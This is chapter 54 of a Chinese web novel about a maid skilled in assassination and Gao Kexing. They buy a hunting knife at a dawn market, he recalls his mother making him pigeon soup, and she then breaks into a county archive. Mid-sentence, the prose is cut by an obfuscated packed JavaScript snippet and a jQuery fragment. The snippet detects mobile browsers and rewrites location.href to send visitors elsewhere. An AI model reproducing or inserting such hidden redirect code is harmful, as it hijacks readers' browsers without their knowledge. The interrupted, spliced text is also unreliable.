54.鸽子汤
作品:《扫地丫鬟懂点暗杀怎么了?》 《兵律·军政》有载,民间禁持军器,对此有一军器名单,详备罗列了不应私人持有的器械类别。
短刀未在其中。
却也很模糊。其实质上类属杀伤性军器,却更常用于狩猎、屠宰,因而并非完全遍寻不得。
如铁匠、猎户、屠户,乃至杂货铺中,都有可能再购得一把用途相似的剥皮小刀。
可这类粗制滥造的民用工具,是否能入鹿啄的眼,高克行就有些摸不准了。
左思右想,除却依照固定时辰迎客的铁匠铺外,还是要在晓市和常集找找有没有售刀的猎户,或可再看看有没有兽皮、兽骨,毕
竟鹿啄似乎格外青睐此类。
卯初晓市开市,寅正高克行便起身梳洗,自到破屋以来,他从踏出过屋门,现下得为二人都不在院中时做些准备。
一张要夹在门缝处的,给婆子看的字条;以及《啄蒙解译》的手稿需收拾齐整,存放妥当;又理出屋内所有银两和紧要之物揣在
身上。
打点停当,鹿啄已在门口等他。
二人给房门落锁,一齐出了家门。
东方露白,本地一处知名晓市距巷口约有数百步,二人信步走着,渐闻市集嗡嗡人声,天色依然昏暗,商贾交易多在檐下、墙角,偶见几盏昏黄的纸灯笼或松明火把,光影摇曳,将买卖双方的身影拉得忽长忽短。
绕过些许陈列农家蔬果、时鲜野菜、活鸡活鸭的摊位,向中段走,便目及新旧杂陈。旧衣旧物、破损瓷器、古旧书籍、小偷小摸来的暗烂贱物俯拾皆是。零星有两个铁器摊,刀剪锄镰直接摆在粗布或草席上,任人拣选。
鹿啄心不在焉地掂量着一把锈蚀镰刀,冷不丁问:
“陆从漪是什么样的人?”
他已知道逐娘是什么样的人,她亦有权知道陆从漪是什么人,只不过今时今日方有这个好奇罢了。
“首先这称呼就不对。”高克行目光飘向远方一檐下老汉,“你娘,或陆姨娘,均可,我娘跟你又没仇。”
这倒很新鲜。
高克行素来由着她对殷碧直呼其名,甚至高彦韬和高克肃也不在例外,可陆从漪不行。甚至他自住进破屋以后,从未与鹿啄说过
“不对”二字,更绝无这样生硬的口气。就是要阻止她做什么,也会先说道理,让她自己明白。
他一定很尊敬,亲爱他的生母吧。
就像她对逐娘一样。
鹿啄改了个称呼。
“陆姨娘是什么样的人?”
“嗯?”高克行似乎并未料到她会改口,收回目光,“怎么想起来问这个?别看那破镰刀了。”
那镰刀的确很破,卷了刃,锈迹斑斑,刀刃像酥的。鹿啄也不挣扎,随手丢下镰刀,捻着两指之间沾上的浮灰,摇摇头:
“一直想问。”
满打满算,鹿啄在高府停留的日子也不过三日,她能逐一将名字对上已是难得,若为她自身计,有此一问并不奇怪。高克行指指
远处檐下的老者,二人一面朝前走,高克行一面道:
“观人必于其微,听言必察其行。我说的你未必就信。”
他们走得慢,语调也轻,脚步声和对白隐在问价、议价声中。高克行回身看了看鹿啄的侧脸,那上头犹如写着“不公平”三个大字。他无声笑笑,才道:
“我少时,高家不算寒微,吃穿用度,一应不缺,但没有自己可以支取的银子,所有供应,皆有定数。且彼时尚不能知殷氏会不会有嫡出的儿子,我娘在家中事事掣肘,我跟大哥便不敢有什么特别的喜好。”
离老者大约还有十步,鹿啄已看见了老者腰间的一把猎刀,她不由回头瞧瞧高克行,但后者无知无觉,仍说:
“可你喜爱什么,往往不必与娘刻意说。”
他顿了顿,好似在寻一样有意忘却的事。
“八岁时,我因一些事由,常宿在父亲书房中,没有专拨给我的下人,父亲又时时责备,我镇日殚精竭虑,连自己病了也不知。夜里迷迷糊糊睡了,就想,若有一碗鲜嫩醇美的鸽子汤便好了。”
鹿啄在山上常能打到鸽子,鹿坪会用筍片、葱白、酒、酱、花椒和水烹,再给姐妹分食。味道的确很好,正在病中的孩子有所怀念确为常理,她不由得抿抿嘴,也想起一个味道来。
“后来,父亲请了郎中,郎中诊病三日,我日日都有鸽子汤。那时我还以为,是父亲着人煮的,便犯傻发奋许久。”
这是不可能的。鹿啄想起高彦韬当日言之凿凿,振聋发聩要舍了一双儿女的话,这样的父亲,怎么会记着儿子喜食的一样偏门小馔。
高克行见鹿啄脸上一会儿一个颜色,有些好笑,悄悄提了嘴角,接着道:
“一年后,我大约熟悉了父亲教我的功课,便有机会时时回后宅看望娘亲。娘亲身边的赵嬷嬷,竟一直记着我去岁染病的事,无意中让我知道了,原来那鸽子汤是娘亲手所制。不止如此……”
说话间,二人已到了老者切近,高克行示意鹿啄去看老者的猎刀,鹿啄却没动,仍等他将话说尽。高克行只得又压低几分声音
道:
“不止如此,当时我娘得知我病了,便派人出府去购置新鲜鸽肉,但屡屡遭到殷氏阻拦,我娘心焦,不顾体面,亲自去求,殷氏
一贯在人前是大度慈爱的,便答应了母亲会将食材送到院中。可谁知,不久后送来的食材,竟是两只活鸽子。”
“灶房的人那一日偏巧很忙,忙得头脚倒悬,不知怎么多了那么多活计,我母亲左等右等,眼看又要入夜了,她忧心我病中不安,情急之下,亲手拿刀杀鸽做汤。”
“此事在你看来或许不算什么,但我母亲出自深闺,莫说杀鸽子,她连鸽子活着的时候是什么样都少见。”
鹿啄并不把此事看做不值一提的微末小事,她虽不大熟悉陆从漪,但她熟悉逐娘,同样是深闺女子,逐娘要不是起初有从娘,后来又有了姐妹们,决计会在山上饿死。她的纤弱与柔婉,她的坚硬与狠绝,彼时彼刻,恰如此时此刻。
她不由问:
“后来呢?”
这似乎是个不易答复的问题,高克行目光再度飘远,片刻,才回头道:
“后来娘就变了,外人说她专横跋扈,刻薄尖酸,可不止外头,她对我和大哥也变了,她一向不事事宣之于口的人,从那以后,竟日日要与我跟大哥说上几遍,‘为娘疼你’‘为娘爱你’可我少时总觉得,娘并非变得敢说敢行,而是娘很怕。”
“怕什么?”
怕殷碧吗?鹿啄稍稍睁大了眼睛。
“于你而言并不重要,况且我也不知道。”
这是半句谎言。其真相的确对鹿啄无关紧要,但高克行却深切知晓。他笑着将鹿啄的脸别到猎户一侧,道:
“看刀吧。”
鹿啄不知因何觉得跟他说这样的话比看刀要有趣十倍,但他已将话题压下,鹿啄便只能去看那猎户的刀。
并不特别的一把猎刀,与鹿啄的剥皮刀比起来,既无新意也无巧思,唯独有一点好,即这猎刀应是猎户日日自用的,磨得光亮,钢材似乎也不错。
确乎是这晓市上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195464|194532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最好的一把刀了。
从未指望过什么奇珍异宝的鹿啄蹲下跟猎户议价,起初猎户还不愿卖,但三两个回合谈下来,高克行出价实在高,加之鹿啄又是懂刀的人,猎户还是将刀卖了。
天破晓,市散。
二人昨夜已议定找出陈星霜栖身之所的法子,现下便分头而行,高克行往布匹衣裳铺中去采办夜行衣靠,鹿啄取道知县县衙。
自刘知县因故落马以来,县衙已乱了两日,缺替上报,迟迟不见人补缺。
这倒也自然,万家、吴家一案,闹得人心惶惶,青州府宦人人自危,个个手头上都有比补缺更要紧的事。
更有人浑水摸鱼,趁乱将知县府后宅所剩不多的财物细软夹带挟出,或是就地销毁。
纵然鹿啄大摇大摆晃进县衙,恐怕也不会有人上来盘问。因能识得刘府婢女的人,已全都不在了。
故而来此处办事,委实是不用有什么武艺傍身的,但鹿啄执意孤身前来,是存了考量自己是否将《啄蒙解译》中官制一卷融会贯通的想法。
说来的确古怪,陈星霜处置刘知县后,按理应摄后续一应安置事宜,再不济,也该着人围府,管制进出。但他就像是偶然从道旁走过,顺手拔除了一株杂草,既过即走,至于此地之后如何,完全与他无关。
所以刘知县于他而言,就是刘知县,并不为牵扯其背后的什么,也不为辖制什么。
鹿啄不由也在心里问出个为什么来。
好在她的处世之道始终离不开“与我何干”和“与你何干”八个大字,故此她也没在为什么三个字上多做停留,在知县府外墙绕了一圈后,鹿啄飞身翻过。
此行有的放矢
——知县府架阁库。
要将存在其内的地籍图县级正本和工房岁修实销账找出,或带给高克行,或自行分辨其中有无异样。
昨夜二人合议时,高克行推断陈星霜如未在知县府下榻,必然也会有其它住处。
客栈驿馆于他身份不合,况且人多眼杂。至于镇守府、提刑按察使司,衙门都不在青州地界,行事不便,更何况此二者与镇抚司和东厂分属不同司职,极易暴露行踪。
他既然化名陈阿猫,又托身藩府太监,必定是不想旁人得知他所办公职为何。
由此可得,他极可能是身处某个空置宅邸,或记名在镇守府名下的宅邸。
而叶孤萍接待上官,又是必然会有支取名目的。
宦官无后世,无未来,为保当下的荣华,没有一个是不贪的。
因而纵然接待事由为私,接待开销也要为公。叶孤萍必不会走镇守府的府库,通常的做法是,借着修缮贡院或官舍的名头,向县衙摊派钱粮物资。
可若县衙将摊派下来的帐记在虚处,又有一个疑难。盖因风宪官,也就是高彦韬,因返乡探病,正在青州,谁也不知他会不会闲来无事突然过问府衙公账,到时若有一个空宅无缘无故多出许多支取名目,县府说不清楚,也不敢找到叶孤萍头上。
最为稳妥的办法,就是陈星霜干脆住在镇守府名下的官舍内,摊派的接待费也直接记做修缮费,放在同一个陈星霜实际所住的官舍名下,此一来就算风宪官真想过问,也找不出任何把柄。
的确有上官暂住,因上官暂住也的确需要修缮,而至于是否真正修缮,高彦韬又不会亲自去走一趟。
如此,只要对比鱼鳞图和岁修账目,便能通过一月内突然拨出的巨款,找到陈星霜的栖身之所。
回忆间,鹿啄已踏上架阁库二楼,于无人注意之时,将所寻之物找了出来。

